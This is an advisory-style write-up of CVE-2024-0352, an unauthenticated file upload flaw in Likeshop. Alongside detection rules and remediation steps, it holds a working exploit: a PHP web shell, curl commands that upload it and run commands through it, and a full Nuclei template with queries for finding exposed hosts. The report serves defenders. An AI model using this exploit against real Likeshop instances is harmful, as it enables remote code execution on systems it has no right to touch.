CVE-2024-0352

Executive Summary

CVE-2024-0352 is a critical unrestricted file upload vulnerability affecting Likeshop versions up to 2.5.7.20210311. The flaw resides in the FileServer::userFormImage function within server/application/api/controller/File.php. An attacker can send a crafted HTTP POST request to the /api/file/formimage endpoint, uploading a malicious PHP file without authentication. Successful exploitation leads to remote code execution (RCE), full compromise of confidentiality, integrity, and availability. A public proof-of-concept (PoC) exists, and the vulnerability is actively weaponized via Nuclei templates. No official patch has been released.

Supply Chain & Package Security

This vulnerability is not in an NPM, PyPI, Go, or Ruby package. It affects the Likeshop PHP application, which is typically deployed as a standalone web application. The risk is primarily to self-hosted instances.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, has a public PoC, and is actively being scanned for in the wild.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434). The FileServer::userFormImage function in server/application/api/controller/File.php does not properly validate the file type or content of uploaded files. The HTTP POST handler accepts a file parameter and saves it to the server's filesystem without checking for dangerous extensions (e.g., .php).

The attack flow:

1. Attacker sends a POST request to /api/file/formimage with a multipart form-data body.
2. The file parameter contains a filename ending in .php (e.g., shell.php).
3. The server saves the file to the uploads/user/ directory.
4. The attacker accesses the uploaded file directly via the returned URL, executing arbitrary PHP code.

The Nuclei template confirms the vulnerability by uploading a random PHP file and checking for a successful response containing the filename and the code:1 status.

Vulnerable vs. Patched Code

Vulnerable Code (Likely in File.php):

public function userFormImage() {
    $file = $this->request->file('file');
    if ($file) {
        $info = $file->move(Env::get('root_path') . 'public/uploads/user/');
        if ($info) {
            return json(['code' => 1, 'data' => ['url' => '/uploads/user/' . $info->getSaveName()]]);
        }
    }
    return json(['code' => 0, 'msg' => 'Upload failed']);
}

Patched Code (Hypothetical):

public function userFormImage() {
    $file = $this->request->file('file');
    if ($file) {
        $ext = strtolower($file->getExtension());
        $allowed = ['jpg', 'jpeg', 'png', 'gif', 'bmp'];
        if (!in_array($ext, $allowed)) {
            return json(['code' => 0, 'msg' => 'Invalid file type']);
        }
        $info = $file->move(Env::get('root_path') . 'public/uploads/user/');
        if ($info) {
            return json(['code' => 1, 'data' => ['url' => '/uploads/user/' . $info->getSaveName()]]);
        }
    }
    return json(['code' => 0, 'msg' => 'Upload failed']);
}

The patched version adds a whitelist of allowed extensions and rejects any file not matching.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Likeshop instance (version < 2.5.7.20210311)
• Network access to the /api/file/formimage endpoint

Exploit Steps:

1. Prepare a PHP web shell (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

2. Send the malicious upload request using curl:

   curl -X POST http://target.com/api/file/formimage \
     -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei" \
     --data-binary $'------WebKitFormBoundarygcflwtei\r\nContent-Disposition: form-data; name="file"; filename="shell.php"\r\nContent-Type: application/x-php\r\n\r\n<?php system($_GET[\'cmd\']); ?>\r\n------WebKitFormBoundarygcflwtei--'
   

3. The response will contain the URL of the uploaded file (e.g., {"data":{"url":"uploads/user/20240101/shell.php"}}).
4. Execute commands:

   curl http://target.com/uploads/user/20240101/shell.php?cmd=id
   

Nuclei Template Usage: The provided Nuclei template automates the detection and exploitation. Run it with:

nuclei -t CVE-2024-0352.yaml -u http://target.com

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /api/file/formimage with Content-Type: multipart/form-data.
• Look for filenames ending in .php, .phtml, .php5, etc.
• Alert on successful upload responses containing "code":1 and a URL path under uploads/user/.

Hunting:

• Search web server logs for POST /api/file/formimage with status 200.
• Check the uploads/user/ directory for unexpected PHP files.
• Use YARA rules (see Detection Engineering) to scan filesystem for webshells.

Containment:

• Block the /api/file/formimage endpoint at the WAF or reverse proxy.
• Remove any unauthorized files from uploads/user/.
• Apply input validation and file type whitelisting.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_0352_Webshell {
    meta:
        description = "Detects PHP webshells uploaded via CVE-2024-0352"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0352"
    strings:
        $php_tag = "<?php"
        $system_call = /system\(|exec\(|shell_exec\(|passthru\(/
        $get_param = /\$_GET\[/
    condition:
        $php_tag and $system_call and $get_param
}

Sigma Rule

title: CVE-2024-0352 Unrestricted File Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /api/file/formimage with PHP file uploads
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /api/file/formimage
        cs-content-type: multipart/form-data*
    condition: selection
falsepositives:
    - Legitimate image uploads (if any)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-0352 Unrestricted File Upload Attempt";
    flow:to_server;
    http.method; content:"POST";
    http.uri; content:"/api/file/formimage";
    http.content_type; content:"multipart/form-data";
    http.request_body; content:".php";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Nuclei Template (Full)

id: CVE-2024-0352

info:
  name: Likeshop < 2.5.7.20210311 - Arbitrary File Upload
  author: CookieHanHoan,babybash,samuelsamuelsamuel
  severity: critical
  description: |
    A vulnerability classified as critical was found in Likeshop up to 2.5.7.20210311. This vulnerability affects the function FileServer::userFormImage of the file server/application/api/controller/File.php of the component HTTP POST Request Handler. The manipulation of the argument file with an unknown input leads to a unrestricted upload vulnerability. The CWE definition for the vulnerability is CWE-434
  impact: |
    The product allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment. As an impact it is known to affect confidentiality, integrity, and availability.
  remediation: Update to the latest version
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0352
    - https://note.zhaoj.in/share/ciwYj7QXC4sZ
    - https://vuldb.com/?ctiid.250120
    - https://vuldb.com/?id.250120
    - https://github.com/tanjiti/sec_profile
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-0352
    cwe-id: CWE-434
    epss-score: 0.91891
    epss-percentile: 0.99697
    cpe: cpe:2.3:a:likeshop:likeshop:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: likeshop
    product: likeshop
    shodan-query: http.favicon.hash:874152924
    fofa-query: icon_hash=874152924
  tags: cve,cve2024,rce,file-upload,likeshop,instrusive,intrusive,vkev,vuln
variables:
  filename: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /api/file/formimage HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36

        ------WebKitFormBoundarygcflwtei
        Content-Disposition: form-data; name="file";filename="{{filename}}.php"
        Content-Type: application/x-php

        {{randstr}}
        ------WebKitFormBoundarygcflwtei--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"name\":\"{{filename}}.php\"")'
          - 'contains_all(body, "code\":1", "base_url\":\"uploads\\/user")'
        condition: and

    extractors:
      - type: json
        part: body
        json:
          - ".data.url"

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint by blocking /api/file/formimage at the WAF or web server level.
2. Remove any unauthorized files from the uploads/user/ directory.
3. Apply input validation to the file upload function (whitelist allowed extensions, validate MIME type, and rename files).

Long-term Fix:

• Upgrade to a patched version of Likeshop (if available). As of this report, no official patch exists. Contact the vendor for updates.
• Implement a Web Application Firewall (WAF) rule to block PHP file uploads to the /api/file/formimage endpoint.
• Conduct a security audit of the entire Likeshop codebase for similar vulnerabilities.

Detection:

• Deploy the YARA, Sigma, and Suricata rules provided in this report.
• Monitor for anomalous file uploads and webshell activity.

Valters IT

{/* [Security Hash: 1FB54783B25196F839D80C64] */}